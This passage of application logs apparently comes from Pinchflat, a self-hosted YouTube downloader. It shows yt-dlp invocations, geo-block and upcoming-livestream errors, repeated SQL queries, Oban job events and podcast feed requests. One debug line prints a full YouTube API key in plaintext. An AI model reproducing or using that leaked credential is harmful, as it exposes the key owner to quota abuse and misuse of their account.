Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:58:02.512 [debug] QUERY OK source="settings" db=0.1ms idle=1237.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:58:02.512 [debug] QUERY OK source="settings" db=0.0ms idle=1223.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:58:02.512 [debug] Running yt-dlp command for action: get_media_attributes 17:58:02.514 [debug] QUERY OK source="settings" db=0.0ms idle=1224.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:58:02.514 [debug] QUERY OK source="settings" db=0.0ms idle=1224.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:58:02.514 [debug] QUERY OK source="settings" db=0.0ms idle=703.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:58:02.514 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/67/f3/67f3e7eebdafd448c90b6264fdf6d16dc6ce716c6125edd7d35efe24c7f66bc1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:58:04.059 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/67/f3/67f3e7eebdafd448c90b6264fdf6d16dc6ce716c6125edd7d35efe24c7f66bc1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:58:04.059 [error] Error creating media item 'NtHZ7IR88dg' from URL: {:error, "ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:58:04.061 [debug] QUERY OK source="media_items" db=1.5ms idle=246.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 17:58:04.062 [debug] QUERY OK source="tasks" db=0.1ms idle=183.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800348, 6, ~U[2026-02-10 23:58:04Z], ~U[2026-02-10 23:58:04Z]] 17:58:04.062 [info] {"args":{"id":6},"id":3800308,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":8251385,"event":"job:stop","queue_time":57820,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:58:30.041 [info] {"source":"oban","duration":10203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:00.052 [info] {"source":"oban","duration":10609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:00.110 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:59:30.063 [info] {"source":"oban","duration":10698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:00.072 [info] {"source":"oban","duration":7831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:00.111 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:00:30.083 [info] {"source":"oban","duration":10425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:51.991 [info] {"args":{"id":37},"id":3800310,"meta":{},"system_time":1770768051991292757,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:00:51.992 [debug] QUERY OK source="sources" db=0.8ms idle=113.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 18:00:51.993 [debug] QUERY OK source="settings" db=0.7ms idle=114.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:00:51.994 [debug] QUERY OK source="media_profiles" db=0.7ms idle=114.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:00:51.994 [debug] QUERY OK source="settings" db=0.0ms idle=9.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:00:51.994 [debug] Fetching recent media IDs from YouTube API for playlist: UUcZqcdpiaDR3wbvS2Yu9xfw 18:00:51.994 [debug] QUERY OK source="settings" db=0.0ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:00:51.994 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:00:52.114 [debug] QUERY OK source="media_items" db=0.5ms idle=121.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [37, "ZempW3DeiHc", "K5YEoWYl75s", "EcPzDxji3SE", "hI90sPvV0C0", "o4Y-u-_8VsU", "VZLpFA3HIM8", "8MK5FLwpfqc", "n6awTDNkxvA", "hhm0nu3Ep5s", "nZyEptt3pdk", "scmdr8dVddQ", "Ri0KylA5D2c", "fIPdFsMu0HY", "j3s_4Mnl55Y", "BfHhAubdTSM", "Ts33nJu9pLo", "1MsM7pFS2og", "tUER2cEjTSU", "zl2h07mHIH0", "Pm8AeE5wRHg", "3K5jPjdV_BU", "tInJ45Gr6nE", "sNypPfHbnkw", "Qror46CYz_8", "cJt-0XogsL4", "QdpY9eQXXlc", "89w5_-zcexo", "sXrVvwFJpfo", "26Yd2Wma-HI", "VNAKa-7-1xQ", "4U5QrFcHibU", "qtILvKKg4Yo", "J1lEA9Tef44", "TCk8j-4etKk", "tARk9xBflxo", "Sn88ZdL1pnM", "V0skKmeOIiU", "czAdrqvhvBM", "Na2eWpXkGWo", "h4-WqlqeDjc", "Nig4e3UZ0Ak", "R79HCCLJkig", "iOAl0xuNyQ8", "U7W1KL0xHrw", "JXIH6G9b0Mw", "4VAoSHYbFe8", "rX66ykNnlLE", "tubBaYmpqQs", "bc6s9Nn73FI", ...] 18:00:52.115 [debug] QUERY OK source="settings" db=0.0ms idle=122.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:00:52.115 [debug] QUERY OK source="settings" db=0.0ms idle=121.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:00:52.115 [debug] Running yt-dlp command for action: get_media_attributes 18:00:52.140 [debug] QUERY OK source="settings" db=0.0ms idle=146.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:00:52.140 [debug] QUERY OK source="settings" db=0.0ms idle=146.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:00:52.140 [debug] QUERY OK source="settings" db=0.0ms idle=26.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:00:52.141 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/7e/06/7e067abd7d375f4c60b8f364a21ed9d954bd99a6b035edc2a1eb6dd32c2c24ab.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:00:53.483 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/7e/06/7e067abd7d375f4c60b8f364a21ed9d954bd99a6b035edc2a1eb6dd32c2c24ab.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] n6awTDNkxvA: This live event will begin in 15 hours. 18:00:53.483 [error] Error creating media item 'n6awTDNkxvA' from URL: {:error, "ERROR: [youtube] n6awTDNkxvA: This live event will begin in 15 hours.\n", 1} 18:00:53.484 [debug] QUERY OK source="media_items" db=0.9ms idle=1368.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [37] 18:00:53.485 [debug] QUERY OK source="tasks" db=0.1ms idle=499.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800349, 37, ~U[2026-02-11 00:00:53Z], ~U[2026-02-11 00:00:53Z]] 18:00:53.485 [info] {"args":{"id":37},"id":3800310,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":1494476,"event":"job:stop","queue_time":186059,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:01:00.094 [info] {"source":"oban","duration":10485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:00.110 [info] GET /sources/d8c11d05-824d-4284-b36d-fabb788a0b82/feed.xml 18:01:00.110 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "d8c11d05-824d-4284-b36d-fabb788a0b82"} Pipelines: [:maybe_basic_auth] 18:01:00.110 [debug] QUERY OK source="sources" db=0.1ms idle=1232.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["d8c11d05-824d-4284-b36d-fabb788a0b82"] 18:01:00.112 [info] {"source":"oban","duration":90,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:01:00.113 [debug] QUERY OK source="media_items" db=2.6ms idle=1232.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [5, 2000] 18:01:00.114 [debug] QUERY OK source="source_metadata" db=0.0ms idle=121.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [5] 18:01:00.114 [debug] QUERY OK source="media_metadata" db=0.0ms idle=19.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564175] 18:01:00.114 [info] Sent 200 in 3ms 18:01:30.105 [info] {"source":"oban","duration":10209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:59.941 [info] GET /sources/ddb05a95-3284-467b-8e82-eb2e6e446d3c/feed.xml 18:01:59.941 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "ddb05a95-3284-467b-8e82-eb2e6e446d3c"} Pipelines: [:maybe_basic_auth] 18:01:59.942 [debug] QUERY OK source="sources" db=0.1ms idle=889.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["ddb05a95-3284-467b-8e82-eb2e6e446d3c"] 18:01:59.943 [debug] QUERY OK source="media_items" db=1.1ms idle=63.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [25, 2000] 18:01:59.944 [debug] QUERY OK source="source_metadata" db=0.0ms idle=66.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [25] 18:01:59.944 [debug] QUERY OK source="media_metadata" db=0.0ms idle=66.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564178] 18:01:59.945 [info] Sent 200 in 3ms 18:02:00.113 [info] {"source":"oban","duration":120,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:02:00.114 [info] {"source":"oban","duration":8041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:02.041 [info] GET /sources/795ca408-4bd9-43e6-9cce-4e8e49187aca/feed.xml 18:02:02.041 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "795ca408-4bd9-43e6-9cce-4e8e49187aca"} Pipelines: [:maybe_basic_auth] 18:02:02.041 [debug] QUERY OK source="sources" db=0.1ms idle=987.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", 